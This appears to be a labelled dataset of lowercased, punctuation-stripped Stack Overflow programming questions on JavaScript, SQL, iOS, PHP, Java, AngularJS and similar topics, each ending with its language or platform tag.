my function to remove duplicates is not working  any suggestions  <pre><code>&lt;p id= demo &gt;&lt;/p&gt;  &lt;script&gt;  //this is the email list  var emaillist =[ adam@yahoo.edu\n    henry@yahoo.edu\n    john@yahoo.edu\n    sally@yahoo.edu\n    adam@yahoo.edu\n    david@yahoo.edu\n    myhome@yahoo.edu\n    david@yahoo.edu\n    david@yahoo.edu\n    hunger@yahoo.edu\n    madison@yahoo.edu\n   ];  //i am removing @yahoo.edu  function removeaddress(list){     for (var i = 0; i &lt; list.length; i++) {         list[i] = list[i].replace( @yahoo.edu      );     } }  //function to remove the duplicates in the list  function removeduplicates(list) {     var hash = {};     for (var i = 0; i &lt; list.length; i++)     {         var array = list[i];         for (var j = 0; j &lt; array.length; j++)          {             var val = array[j];             var hashedval = hash[val];             if (hashedval === undefined)              {                 hash[val] = true;             }             else              {                 array.splice(j  1);                 if (array.length == 0)                 {                     list.splice(i  1);                 }             }         }     } } document.getelementbyid( demo ).innerhtml = emaillist; //remove @yahoo.edu from the list  removeaddress(emaillist);  //sort the list  emaillist.sort();  //remove the duplicates  removeduplicates(emaillist);  //print the list  document.getelementbyid( demo ).innerhtml = emaillist; &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
changing bounds property of uiview doesn t affect its content  i am new to iphone programming and i am trying to understand how frame and bounds properties work. in the interface builder  i created <code>uiview</code> where i put <code>uiimageview</code> as a child. i made <code>uiimageview</code> bigger than parent view. and set  clip subview  property to true for parent uiview and to false for child uiimageview.<br> when i change <code>frame.origin</code> property of the child <code>uiimageview</code> programmatically. but when i change <code>bounds.origin</code> property of the parent <code>uiview</code> i see nothing. probably i wrongly understand the purpose of <code>bounds</code>.    what should i do to get the behavior described in the iphone application programming guide:    <em>you can change the bounds origin without changing the other two properties. when you do  the view displays the portion of the underlying image that you have identified. infigure2-4 (page 56)  the original bounds origin is set to(0.0 0.0). in figure2-5  that origin is moved to (8.0 24.0).as a result  a different portion of the underlying image is displayed by the view. because the frame rectangle did not change  however  the new content is displayed in the same location inside the parent view as before.</em>    thanks in advance. andrew,iphone
sql: i have a table with duplicate of accnt_num that have multiple payments  i have two tables that i am joining by acct_num column   <ul> <li>table1 has acct_num.</li> <li>table2 has pmt_cde and acct_num. </li> </ul>   my goal is to serach for acct_num that have three (3) or more records of pmt_cde = 536.     here is my code:   <pre><code>select       acct_num  count (*) as pmt_cde from tran_hist_dly  as a group by acct_num having count (*) &gt;3  join arr_acct_dly as b  on a.acct_num = b.acct_num; </code></pre>,sql
how to validate string in nsuserdefaults  i am getting some id from the web services.    eg:101.    that id i am save in nsuserdefaults and give that value to the string.    now i need to validate that string like if that string is equal to 0 i need to fire one action and if that value is not equal to 0 i need to fire another action.    for that my code is like this.   <pre><code>nslog(@ id is%@  [defaults objectforkey:@ id ]); nsstring *intstring = [nsstring stringwithformat:@ %d   [defaults objectforkey:@ id ]];  nslog(@ string %@  intstring); if ([intstring isequaltostring:@ 0 ]) {     nslog(@ yes  it is 0 ); } else {    nslog(@ no it not eqal to zero ); } </code></pre>   for the first time in console id is 0 string is 0    and if i check second time   id is 0  string is 100243248.    i did n t get what this 100243248 value.    i need to check id in nsuserdefaults. if that value is 0 i need to fire one action and if that value is not equal to zero i need to fire another action.    how can i done can any one please help me.    thank u in advance.      <hr>,iphone
example of synchronous javascript  i want an example of synchronous javascript.    let s say i have three functions   <pre><code>fun1(); fun2(); fun3(); </code></pre>   they all log some data. but i want the second function fun2() to pause the script for 5 seconds and then continue.    doing settimeout has not worked as it is async.,javascript
how to check if location is on and in high priority on api 18 and below  tried this:   <pre><code>string locationproviders = settings.secure.getstring(getactivity().getcontentresolver()  settings.secure.location_providers_allowed); log.d(tag_map  locationproviders); </code></pre>   output is: gps network    are phones that are api 18 and below dont  have high_accuracy priority,android
program to find the max and biggest negative number  the following code prints the maximum and the biggest negative value (if we have -10 and -5  -5 is bigger) of numbers entered unitl a symbol is reached. my question is if there is a better way to find the largest negative value (avoiding int_min or other clumsy ways of this kind).   <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; #include &lt;limits.h&gt; int main() {     float max=0  n  bnn=int_min;     while(1){         printf( enter an integer: );         if(scanf( %f   &amp;n)!=1){             break;         }         if (n&gt;max)             max=n;         else if(n&gt;=bnn)              bnn=n;     }     printf( the maximum number of the entered ones is:%0.2f\n   max);     printf( the biggest negative number is:%0.2f   bnn);     getch(); } </code></pre>,c
how to get the data back from the uitextfield   i have a textfield to type the username  how will i get back the data to perform some action from the uitextfield,objective-c
get geo location from rss feed  i am working on rss feed and i want to display it on google map  for that i need geo location (latitude and longitude). is there any way to get geolocation from rss feed.    please find below example link and it output the results as below:    <a href= http://news.google.com/news ned=us&amp;topic=h&amp;output=rss  rel= nofollow >http://news.google.com/news ned=us&amp;topic=h&amp;output=rss</a>   <pre><code>[0] =&gt; array([         title] =&gt; with video: marine urination outrage not stopping afghan peace talk moves - detroit free press         [link] =&gt; http://news.google.com/news/url sa=t&amp;fd=r&amp;usg=afqjcngj6-psyuojh43om0izipu0bysczg&amp;url=http://www.freep.com/article/20120113/news07/120113024/with-video-marine-urination-outrage-not-stopping-afghan-peace-talk-moves         [description] =&gt;with video: marine urination outrage not stopping afghan peace talk moves         [guid] =&gt; tag:news.google.com 2005:cluster=17593988265025         [pubdate] =&gt; fri  13 jan 2012 16:14:32 gmt     ) </code></pre>   thanks,php
sql language -- is there a way to write average twice   the question is  list all payments greater than twice the average payment    <pre><code>select avg(amount) from payments where amount &gt; avg(amount)*2; </code></pre>,sql
prefetch to a specific level of cache  gcc has <code>__builtin_prefetch</code> to support prefetching. my question is how can i prefetch the data to a specific level of cache. for example  i only would like to prefetch the data to <code>l2 cache</code> instead of all the way to <code>l1 cache</code>.,c
ios10 portrait view present a landscape view may make the screen layout wrong   i use <code>presentviewcontroller</code> to present a landscape view from a portrait view.     but sometimes the screen does not orientate and the landscape view is in portrait view and half of the screen below is black. this happens especially just after the app is launched.    my code is:   <pre><code>[portraitvc presentviewcontroller: landscapevc animated:yes completion:nil]; </code></pre>   can any one help me      here is a screenshot of the error: <img src= https://i.stack.imgur.com/b4fm6.jpg  alt= screen shot of the bug >,ios
what are the disadvantages when we opt for a lower dotnet version  my dot net version is 4.5.1. i am using vs2013. planning to do a project in dotnet version 3.5. what disadvantages are waiting for me when i do this,.net
uipageviewcontroller calling both viewcontrollerbeforeviewcontroller and viewcontrollerafterviewcontroller  i ve seen similar questions on stackoverflow (e.g.  <a href= https://stackoverflow.com/questions/22978879/in-uipageviewcontroller-when-pageviewcontrollerviewcontrollerbeforeviewcontro >here</a>  and <a href= https://stackoverflow.com/questions/23286757/uipageviewcontrollerdatasource-calling-both-swipe-left-and-swipe-right-methods >here</a>) but none have clear answers. i followed <a href= http://www.appcoda.com/uipageviewcontroller-tutorial-intro/  rel= nofollow noreferrer >this tutorial</a> but created a separate uiviewcontroller file with it s own .xib for each page i wanted to display. on the first swipe  both <code>viewcontrollerbeforeviewcontroller</code> and <code>viewcontrollerafterviewcontroller</code> get called. the tutorial uses both of these methods to increment or decrement the <code>pageindex</code>. so what i end up seeing is <code>pageindex</code> initialized to 0  then set to 1 when <code>viewcontrollerafterviewcontroller</code> is called  then immediately set to 0 when <code>viewcontrollerbeforeviewcontroller</code> is called. ultimately  this results in the improper display of pages.,ios
css solution for putting a black overlay over the rest of the page - not overlay an image over another image  i want to highlight an image when a user hovers over it.    to do that  i d like to put an overlay over everything else (or honestly  i d be happy putting an overlay over everything including the image  and then putting something to brighten the image as well).    is there anyway to do this without js  i m happy to use a js solution if that s all that s available  but i was wondering if there was any css-only trickery that could manage to do this.    example html would be like this:   <pre><code>&lt;body&gt; &lt;div&gt; &lt;other elements /&gt; &lt;img src= ....  /&gt; &lt;/div&gt; &lt;/body&gt; </code></pre>   preferably everything would be darkened except the  tag.    edit: this is not a duplicate. it is very  very different from <a href= https://stackoverflow.com/questions/403478/how-to-overlay-images >overlay images</a>,css
mysql relation table - how to make it smaller   i am making a poi option in our website  using a poi table with ~14 million rows. i would like to connect these pois with data from another table  which contains roughly 2 million rows(they are ads).    i tried to make a third table(a link table)  which stores the relations between the  ads  and the  pois   but the table is very huge. (~600 million rows and still counting). this third table contains only 3 rows  a unique identifier  ad_id and poi_id. is there any other way  to store such a simple relation  which is not so resource intensive     <strong>edit</strong>    i am thinking about reordering my pois by latitude  and recreating their id s  and afterwards store the relations in the table the following way:   <pre><code>relation_id   ad_id   poi_start_id   poi_end_id </code></pre>   where poi_end_id can be null  if it is  only poi_start_id is related  if not  everything between poi_start_id and poi_end_id is related.    what do you think  would this fasten search in the huge table  and make the table size smaller,mysql
simple jquery tutorial won t work  i am trying to do a simple jquery tutorial  but it won t work.   <pre><code>&lt;html&gt;                                                                    &lt;head&gt;                         &lt;title&gt;&lt;/title&gt;     &lt;script type= text/javascript  src= jquery-1.3.2.js &gt;                                                  $(function() {             $( a ).click(function() {             $( #box ).fadeout();         });     });                                     &lt;/script&gt;            &lt;style type= text/css &gt;         #box     {   background: red;         width: 300px;         height: 300px;     } &lt;/style&gt;  &lt;/head&gt;                                                                  &lt;body&gt;                                     &lt;div id= box  &gt;&lt;/div&gt;         &lt;a href= # &gt;click me&lt;/a&gt;  &lt;/body&gt;                                                                     &lt;/html&gt; </code></pre>   i have copied and pasted the jquery filename: jquery-1.3.2    i can t see what is wrong  i am using firefox.,jquery
what will be the output of the program if the array begins 1200 in memory  <pre><code> #include&lt;stdio.h&gt;  main()  {     int arr[]={2  3  4  1  6};     printf( %u  %u  %u\n   arr  &amp;arr[0]  &amp;arr);     return 0;  } </code></pre>   its output is:- 1200 1200 1200 i want to know how its answer is 1200     i want to know how does it work,c
java - appending & passing values  i m having trouble with passing a string and double to another class because it keeps on crashing at double cost = input.nextdouble();. also  i was wondering if i am correct with the appending method used in public boolean addpartdetails(string partdescription  double partcost).    for example. if the user enters the parts and cost  i want it to store that in a list and print it out with the cost appended.    parts used:    <ul> <li>brake pads ($50.00) </li> <li>brake fluids ($25.00)</li> </ul>   note. assuming that i have declared all variables and the array.           <pre><code>system.out.print( enter registration number of vehicle );                 string inputrego = input.next();                 boolean flag = false;                 for(int i=0; i&lt;6; i++){                     if(inputrego.equalsignorecase(services[i].getregonumber())){                         system.out.print( enter part description:  );                         string parts = input.nextline();                         double cost = input.nextdouble();                          services[i].addpartdetails(parts  cost);                           //system.out.println(services[i].getregonumber());                         flag = true;                     }                 }if(flag==false);                 system.out.println( no registration number were found in the system. );  public boolean addpartdetails(string partdescription  double partcost){     if(partdescription ==    || partcost &lt;= 0){         system.out.println( invalid input  please try again! );         return false;     }     else{         partcost=0;         stringbuffer sb = new stringbuffer(40);         string[] parts = new string[50];         for (int i=0;i&lt;parts.length;i++){             partdescription = sb.append(partcost).tostring();         }         system.out.println(partdescription);           totalpart+=partcost;         return true;     } } </code></pre>,java
validating duplicates  i am new to this so please pardon me if i am repeating.  i not a php guru but as part of my learning experience i have hit an stumbling block.    i have a html form which has 5 dropdown select elements.  they all populated from the database  which has about 20 fruits name.  my itention is  user are not allowed to choose a duplicate fruit in ther section.  for example; if user selects  banana  in the first select box and then the user selects  bananas  in either one or more select boxes  it will simply print our warning message to say there is a duplicate value exist.    here is the form:   <pre><code>&lt;form action= &lt; php echo htmlspecialchars($_server[  php_self  ]); &gt;  method= post &gt; &lt;select name= plate1 &gt;     &lt; php foreach ($fruits as $fruit) {  &gt;     &lt;option value= &lt; php echo $fruit[ id ];  &gt; &gt;         &lt; php echo $fruit[ name ];  &gt;     &lt;/option&gt;     &lt; php     }      &gt; &lt;/select&gt; &lt;select name= plate2 &gt;     &lt; php foreach ($fruits as $fruit) {  &gt;     &lt;option value= &lt; php echo $fruit[ id ];  &gt; &gt;         &lt; php echo $fruit[ name ];  &gt;     &lt;/option&gt;     &lt; php     }      &gt; &lt;/select&gt; &lt;select name= plate3 &gt;     &lt; php foreach ($fruits as $fruit) {  &gt;     &lt;option value= &lt; php echo $fruit[ id ];  &gt; &gt;         &lt; php echo $fruit[ name ];  &gt;     &lt;/option&gt;     &lt; php     }      &gt; &lt;/select&gt; &lt;select name= plate4 &gt;     &lt; php foreach ($fruits as $fruit) {  &gt;     &lt;option value= &lt; php echo $fruit[ id ];  &gt; &gt;         &lt; php echo $fruit[ name ];  &gt;     &lt;/option&gt;     &lt; php     }      &gt; &lt;/select&gt; </code></pre>    i am awarer that  there may be much simpler way of creating the form elements without having repeat myself but as i said i am here to learn and your suggestions are really welcomed.    thanks in advnce for your help!,php
c# - quickest way to loop through a folder of 30 thousand pdf files  i have a folder full of 30 thousand pdf files (please don t ask why).    i need to loop through them and match the date on the date value chosen on the windows form date picker control.    here is what i have:   <pre><code>public list&lt;fileinfo&gt; mylist = new list&lt;fileinfo&gt;();         directoryinfo di = new directoryinfo(@ \\pdfs );  mylist = (di.enumeratefiles( *.pdf ).where(x =&gt; x.lastwritetime.date == datetime.date).tolist()); </code></pre>   after i have got the files in the list  i then move them to another location for various other processing  but the aspect i definitely want to speed up is this part.    it s rather slow  is there anyway to speed this up     thanks.,c#
xcode iphone program using .cpp file: symbol not found  this had been driving me crazy....    i have an iphone app that is using an apple sample cpp file.  the cpp file is aqofflinerender.cpp.      when i compile the apple sample project  aqofflinerendertest  it compiles correctly.  when i copy the aqofflinerender.cpp file to my project and reference a method within the file exactly as the apple sample  i get the following error:   <pre><code>    cd /users/mike/documents/xcode/insultthem     setenv iphoneos_deployment_target 3.0     setenv macosx_deployment_target 10.5     setenv path  /developer/platforms/iphoneos.platform/developer/usr/bin:/developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/x11/bin:/opt/local/bin:/usr/local/git/bin      /developer/platforms/iphoneos.platform/developer/usr/bin/g++-4.2 -arch armv6 -isysroot /developer/platforms/iphoneos.platform/developer/sdks/iphoneos3.0.sdk  -l/users/mike/xcode projects/debug-iphoneos   -f/users/mike/xcode projects/debug-iphoneos  -filelist  /users/mike/xcode projects/insultthem.build/debug-iphoneos/insultthem.build/objects-normal/armv6/insultthem.linkfilelist  -mmacosx-version-min=10.5 -wl -dead_strip -miphoneos-version-min=3.0 -framework foundation -framework uikit -framework coregraphics -framework avfoundation -framework systemconfiguration -framework audiotoolbox -framework coredata -framework messageui -framework iokit -o  /users/mike/xcode projects/debug-iphoneos/insultthem.app/insultthem  undefined symbols:    _doaqofflinerender   referenced from:       -[audiofilemanipulation combinefiles:newfilename:] in audiofilemanipulation.o ld: symbol(s) not found collect2: ld returned 1 exit status </code></pre>   in .m file  the method is defined as follows:   <pre><code>extern void doaqofflinerender(cfurlref sourceurl1  cfurlref sourceurl2  cfurlref sourceurl3  cfurlref destinationurl); </code></pre>   in the .cpp file  the method is as follows:   <pre><code>void doaqofflinerender(cfurlref sourceurl1  cfurlref sourceurl2  cfurlref sourceurl3  cfurlref destinationurl) { </code></pre>   does anyone have any suggestions for resolving this,iphone
expand and shrink div based on updated ajax content  i d like to create a div element that grows and shrinks (slides up and down) based on content returned from a user s search query.    i m using jquery s animate property and for the most part  it s functional. when a user performs the first query  i d really like the animation to perform a slidedown affect while fading in the content at the same time. if an additional search query is performed  the div will grow (or shrink) based on the content returned from the server.    right now  the first search results in an unwanted left to right slide-like effect. subsequent queries expand the div correctly.    to illustrate this question  please see the jsfiddle: <a href= http://jsfiddle.net/krpxk/  rel= nofollow >http://jsfiddle.net/krpxk/</a>    html:   <pre><code>&lt;input type= text  id= search-term  /&gt; &lt;input type= button  id= submit-button  value= submit  /&gt;  &lt;div id= limit &gt;     &lt;div id= results &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   javascript:   <pre><code>$( #submit-button ).click(function(e) {       // ajax request     $.ajax({         async: true          cache: false          type:  post           url:  /echo/html/           data: {             html:  &lt;p class= p-content &gt;search term:   + $( #search-term ).val() +  &lt;/p&gt;          }          datatype:  html           success: function(data) {             $( #results ).append(data).show(function(){                 $( #limit ).animate({                     height:$( #results ).height()                 } 500);             });           }     }); }); </code></pre>   css:   <pre><code>#results {     background:#dfdfdf;     display:none;     width:300px; }  #limit {      position: relative;      overflow: hidden;     width:100%; }  .p-content {     margin:0 auto;     width:100px; } </code></pre>   <strong>update:</strong>    i found that the answer was very simple. just by setting the #limit height to 0 forced a slide down animation.    from the answer:  please note  that i gave the #limit container an explicit height of 0px in the css in order to force the initial animation.,jquery
getting  server tag is not well formed  error <pre><code>&lt;th style= width:200px; &gt;&lt;asp:checkbox id= utilitychanged( &lt;%# eval( id ) %&gt; )  runat= server  enabled= true  onchange= utilitychanged( &lt;%# eval( id ) %&gt; );  checked= &lt;%# convert.toboolean(eval( checked )) %&gt; /&gt;&lt;/th&gt;  </code></pre>   error: server tag is not well formed.....i cant seem to debug it...any help guys    <hr>   edit: i commented out the ochange and i am still getting the error;    directly above this code i am binding to a different field using the same datasource. which works fine...   <pre><code>&lt;th style= width:200px; &gt;&lt;%# eval( name ) %&gt;&lt;/th&gt; </code></pre>   why doesnt(below) work.....   <pre><code> &lt;th style= width:200px; &gt;&lt;asp:checkbox id= utilitychanged&lt;%# eval( id ) %&gt;  runat= server  enabled= true  checked= &lt;%# convert.toboolean(eval( checked )) %&gt; /&gt;&lt;/th&gt;   </code></pre>,asp.net
any quick solution to make a view appear behind the status bar in ios 7   i m porting my app from ios 6 to ios 7 (there will eventually be a complete gui redesign for ios 7 but in the meanwhile just getting the existing gui to display properly on ios 7 is the goal.    i had the issue where the status bar was overlapping my gui and so have shifted the y origin of the view controller s view down by 20.    however my app contains a pulldown which when retracted is overlapping with the status bar. in the screenshot the  red is a button which is present in the pulldown view. the grey bar is the top of the main view behind which a portion of pulldown is hiding when retracted. <img src= https://i.stack.imgur.com/29mcx.png  alt= enter image description here >    i implemented the pull down as a fixed size child subview of the main view and when retracted its y origin is a negative number thus it is effectively still displayed but off the top of the screen. when the user pulls it down i just animate the increase in the y origin until eventually the origin is 0.     is there some way i can make the pull down view appear beneath the status bar or some other quick solution  note of course i can t simply toggle the pulldown s alpha to display/hide it as it pullsdown obviously thus its appearance/disappearance is not a discreen action.  i could maybe attempt to make the portion of it that is on top of the status bar invisible but as its something that is moving that seems like its going to be complicated. is there any simple solution     thanks,ios
mysql group by is not working how i expect  i have the following table:    <img src= https://i.stack.imgur.com/t7yox.png  alt= mysql table >    when i perform this query:   <pre><code>select *  from  `songs`  group by album_artist order by album_artist </code></pre>   i get this result:    <img src= https://i.stack.imgur.com/u0bo0.png  alt= mysql result >    shouldn t all of the rows be grouped since album_artist has the same value all the way down     if i group by artist it works as expected.    upon exporting to .sql file i see that some of the records look like this    ( right as rain    adele    19    a\0d\0e\0l\0e\0 )    what would cause this  how could i fix it when there a lot more rows.,mysql
purpose of the 64 bit public key token in .net assembly   what is the purpose of the 64 bit public key token in .net assembly. i understand that the public key corresponding to the private key which is used to sign the assembly is embedded in the assembly itself. what purpose does the 64 bit public key token serve when the public key as a whole is available,.net
which class in android has a sleep() that there is no need to catch the exception    i remember there is a method can sleep the thread but no need to try..catch() beacuse the method has already do it by himself.    so..who can tell me the name of that class     thanks!,android
php array compare issue <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5513121/is-there-any-way-to-get-common-values-between-two-arrays-in-php >is there any way to get common values between two arrays in php </a>    </blockquote>     i am trying to compare 2 <code>arrays</code> and keep the elements based on the second <code>array</code>.    i have   <pre><code>array 1  array( 3  =&gt;  test1    4  =&gt;  test2    1  =&gt; test3 )    array 2  array( 2  =&gt; test2    3  =&gt; test3 ) </code></pre>   i want to compare <code>array 1</code> and <code>array 2</code> and keep the test 2 and test 3 in <code>array 1</code> in my case.    so the end result will be   <pre><code>array( 4  =&gt;  test2    1  =&gt; test3 ) </code></pre>   i have tried <code>array_diff</code> but it doesn t come out the results i wanted. i also google for a while but coudln t find anything useful either.    are there anyways to get what i need  thanks a lot!,php
how to check if value already exists   i have a small app that users can use to search for a movie  and then add it to their watchlist. currently it is possible to add 1 movie multple times for the same user. which ofcourse isn t expected behaviour.    my solution would be to find the unique id of the movie that s being added and crosscheck that with my <code>movies_users</code> data. if the <code>movie_id</code> value exists  do this  else do this.    at the moment i do have the unique movie id of the movie that s being added    <pre><code>$scope.movielistid = response; console.log ($scope.movielistid.id) </code></pre>   which gets ouputted like a string  like so    <pre><code>314365 </code></pre>   and i got the movie records from the current user    <pre><code>$scope.moviescheck = response.data; console.log ($scope.moviescheck) </code></pre>   which looks like this    <pre><code>[{ id :2  title : black panther    movie_id : 284054 }] </code></pre>   so what would be a good way to check if the result from <code>$scope.movielistid.id</code> already exists in the <code>$scope.moviescheck</code> data     <strong>* update *</strong>    trying a suggestion below does not give the expected result.   <pre><code>var exists = function (id) {   $scope.moviescheck.foreach(function (movie) {     console.log (movie.movie_id)     console.log (id)     if (movie.movie_id === id)       console.log ( duplicate )     else       console.log ( not duplicate )    }); }  exists($scope.movielistid.id); </code></pre>   the console.log output from this is    <pre><code>312221 312221 not duplicate </code></pre>   which clearly are duplicate results.,angularjs
adding a contact using only the organization field sorts the item under  #   after i create and add the contact  it shows up in the people picker at the bottom in the  #  section as if the last name started with a number.   <pre><code>newperson = abpersoncreate(); abrecordsetvalue(newperson  kabpersonfirstnameproperty  @    &amp;error); // no first abrecordsetvalue(newperson  kabpersonlastnameproperty  @    &amp;error);  // no last abrecordsetvalue(newperson  kabpersonorganizationproperty  @ acme rockets   &amp;error); multiphone = abmultivaluecreatemutable(kabmultistringpropertytype); abmultivalueaddvalueandlabel(multiphone  phonenumber  kabpersonphonemainlabel  null); abrecordsetvalue(newperson  kabpersonphoneproperty  multiphone  nil); cfrelease(multiphone);  abaddressbookaddrecord(appdelegate.addressbook  newperson  &amp;error); abaddressbooksave(appdelegate.addressbook  &amp;error); </code></pre>   if i do the same through the ios address book app  it sorts the contact correctly under the first letter in the organization field.    have i found a bug  or is there a sort property i need to set when first and last are blank,ios
shuffletext highlight information/documentation  does anyone have copies of documentation for <em>shuffletext.com</em> s <strong><em>shuffletext.highlight.express</em></strong> .net library  the library is used for fuzzy searching in an open source project that i am modifying. i wish to understand <em>shuffletext</em> s api more in depth  but i cannot locate <strong>any</strong> documentation online.    shuffletext.com looks like they went out of business. all url references to them direct to godaddy landing pages.    <a href= http://shuffletext.com/  rel= nofollow noreferrer >shuffletext.com</a> (godaddy)    <a href= http://blog.shuffletext.com/  rel= nofollow noreferrer >shuffletext blog</a> (godaddy),.net
adding additional targets to iphone app  how does one add additional targets to an iphone application     i would like to add the following targets: cfnetwork.framework  systemconfiguration.framework and libz.1.2.3.dylib to my app to be able to use twit pic    thanks,iphone
create an specific index  basically i would like to add a new column in a table entitled product (mainly clothes) which contains 2 columns : - productid (int)  - path (varchar) which is like something |x|y|z| (for example |10|300|5| with 10 indicated that the product is a woman cloth  300 a t-shirt  and 5 yellow).    so i would like to add a new colum called index in order to allocate in my website a specific place for each products (for example the first picture will be a jean  the second one a coat  the 3rd a t-shirt  etc...). i have 8 zones with the possibility to extend this zone to 8 more  and so on.    i am trying to write an sql update function such like this :   <pre><code>update productstable  set indexproducts =  select case  path when path like %|1 for example|%   then my index (this index should indicate that the product can be included in the first zone or the 9th zone etc... of my website) else when path like %|200 for example|%   then my index ( for the second zone) else etc ...  end  from  productstable. </code></pre>   any suggestions,sql
java equivalent of instance initializer called after constructor  i ve been reading about instance initializers in java  and it s been explained that code common to all constructors can be put into them because they are called every time a new instance of a class is created.  is there an equivalent of instance initializers that run after constructors  for code that would be common to all constructors  but depends on what happens in the constructors,java
why does angular prefix redirect url with  localhost  when using $location.path   the following snippet of code doesn t redirect me to the specified page (<code>redirecturl</code>) - but rather  prefixes redirecturl with the string  localhost .    i end up redirected to <code> localhost/http://localhost/example/page .</code>    how can i avoid this    <pre><code>var redirecturl =   http://localhost/example/page ; $location.path(redirecturl); //redirects to  localhost/http://localhost/example/page .` $scope.$apply(); </code></pre>,angularjs
how should i represent a (one (many a to many b) to many c) relationship in sql  using the following notation:   <ul> <li><code>a &gt;&lt; b</code> - many  a and b</li> <li><code>a &lt;= b</code> - one a to many b</li> </ul>   i would like to represent <code>(a &gt;&lt; b) &lt;= c</code>  i.e associating many cs with every link between a and b.    here re some ideas i ve had (warning: pseudocode)   <ol> <li> <strong>primary key pairs  duplicated</strong>   <pre><code>table abmap     primary foreign a_id     primary foreign b_id  table c     primary c_id     foreign a_id     foreign b_id     # more data </code></pre></li> <li> <strong>unique constraint on mapping</strong>   <pre><code>table abmap     primary ab_id     foreign a_id     foreign b_id     unique (a_id  b_id)  table c     primary c_id     foreign ab_id     # more data </code></pre></li> <li> <strong>unique constraint on mapping id</strong>   <pre><code>table abmap     auto_increment ab_id     primary foreign a_id     primary foreign b_id     unique (ab_id)  table c     primary c_id     foreign ab_id </code></pre></li> </ol>   which should i use  and why,sql
$_request issue undefined offset <pre><code>&lt; php  $ans=$_request[ ans ]; $qes=$_request[ qes ]; $ra=$_request[ right_op ]; $count=0; for($i=0; $i&lt;count($ans); $i++) {     echo  question .$qes[$i] &lt;br&gt; ;     echo  ans .$ans[$i] &lt;br&gt; ;     echo  right option .$ra[$i]. &lt;br&gt; ;     if(isset($ans[$i]) == isset($ra[$i]))     {         $count++;     } }  &gt; </code></pre>   when submit the first page  then it shows    <blockquote>    notice: undefined offset: 1 in c:\xampp\htdocs\result.php on line 9  </blockquote>   the first page where the data is posted.   <pre><code>&lt; php  $i=1; $x=0; $y=0; $z=0;  do{    &gt;             &lt;tr&gt;               &lt;td width= 30 &gt;&lt;/td&gt;               &lt;td width= 30  height= 27 &gt;&lt; php echo  $i ; &gt;&lt;/td&gt;               &lt;td width= 493 &gt;&lt; php echo $row_question[ question ];  &gt;                 &lt;input type= hidden  name= q_id[&lt; php// echo $y;  &gt;]  id= q_id  value=     &lt; php echo $row_question[ q_id ];  &gt;  /&gt;                 &lt;input type= hidden  name= qes[&lt; php echo $y;  &gt;]  id= qes  value= &lt; php     echo $row_question[ question ];  &gt;  /&gt;&lt;input name= right_op[&lt; php echo $z;  &gt;]      type= hidden  id= right_op  value= &lt; php echo $row_question[ right_op ];  &gt;  /&gt;&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;               &lt;td&gt;&amp;nbsp;&lt;/td&gt;               &lt;td height= 59  align= right &gt;&lt;h3&gt;a)&lt;/h3&gt;                 &lt;h3&gt;b)&lt;/h3&gt;                 &lt;h3&gt;c)&lt;/h3&gt;                 &lt;h3&gt;d)&lt;/h3&gt;&lt;/td&gt;               &lt;td&gt;&lt;h3&gt;                 &lt;label&gt;                   &lt;input type= radio  name= ans[&lt; php echo $x;  &gt;]  value= a  id= ans_0      /&gt;                       &lt;font color= #ffffff &gt;&lt; php echo $row_question[ op_a ];  &gt;&lt;/font&gt;    &lt;/label&gt;                 &lt;br /&gt;                 &lt;label&gt;                   &lt;input type= radio  name= ans[&lt; php echo $x;  &gt;]  value= b  id= ans_1      /&gt;                   &lt;font color= #ffffff &gt;&lt; php echo $row_question[ op_b ];  &gt;&lt;/font&gt;    &lt;/label&gt;                 &lt;br /&gt;                 &lt;label&gt;                   &lt;input type= radio  name= ans[&lt; php echo $x;  &gt;]  value= c  id= ans_2      /&gt;                   &lt;font color= #ffffff &gt;&lt; php echo $row_question[ op_c ];  &gt;&lt;/font&gt;    &lt;/label&gt;                 &lt;br /&gt;                 &lt;label&gt;                    &lt;input type= radio  name= ans[&lt; php echo $x;  &gt;]  value= d  id= ans_3      /&gt;                    &lt;font color= #ffffff &gt;&lt; php echo $row_question[ op_d ];  &gt;&lt;/font&gt;    &lt;/label&gt;                 &lt;br /&gt;               &lt;/h3&gt;&lt;/td&gt;              &lt;/tr&gt;  &lt;tr&gt;   &lt;td height= 17  colspan= 3 &gt;&lt;hr /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt; php     $i++;      $x++;     $y++;         $z++;     } while ($row_question = mysql_fetch_assoc($question));  &gt; </code></pre>   what is wrong in this code. please tell me in details.<br> thank you.,php
are parents filters available to all sub modules  <pre><code>var x = angular.module( x   [ a   b   c ]); x.filter( myfilter   func); x.directive( mydirective   func);  var a = angular.module( a  []); a.filter( alfa   func); a.controller( usercontroller   func); </code></pre>   is myfilter and mydirective also available to usercontroller  is alfa available to x,angularjs
mysql - is there a `on select` attribute available   in a mysql db rows are selected like this    <pre><code>select * from application where id =  .$id.  </code></pre>   the table has a bool <code>state</code> field which reflects if the row is currently <code>in use</code> by a user.    after fetching a row i update this field with true (1).<br> is there a way in mysql  something like an <code>on select</code> arttribute  to update such a field automatically when selected   or is there another clever way to automate a function doing this when preparing a <code>select</code> statement,mysql
case with dates between now and 2 days   i m trying to list out a table  and if a schedule date is within 2 days  to list as a warning and if the date is past today then list it as late.      i m having trouble getting the  between  portion of this code to function properly.  the between code seems to work outside the case statement but not within.  any help is greatly appreciated.    thanks    <pre><code>select schedule  case when schedule between(curdate()  curdate() + 2)then 1 else 0 end as   warning  case when schedule &lt; curdate() then 1 else 0 end as late  from upgrade_table </code></pre>  <blockquote>    error:        error code 1064  sql state 42000: you have an error in your sql syntax;        check the manual that corresponds to your mysql server version for the right        syntax to use near  then 1 else 0 end as warning        case when sched &lt; curdate() then 1 else 0 end as l  at line 2  </blockquote>,mysql
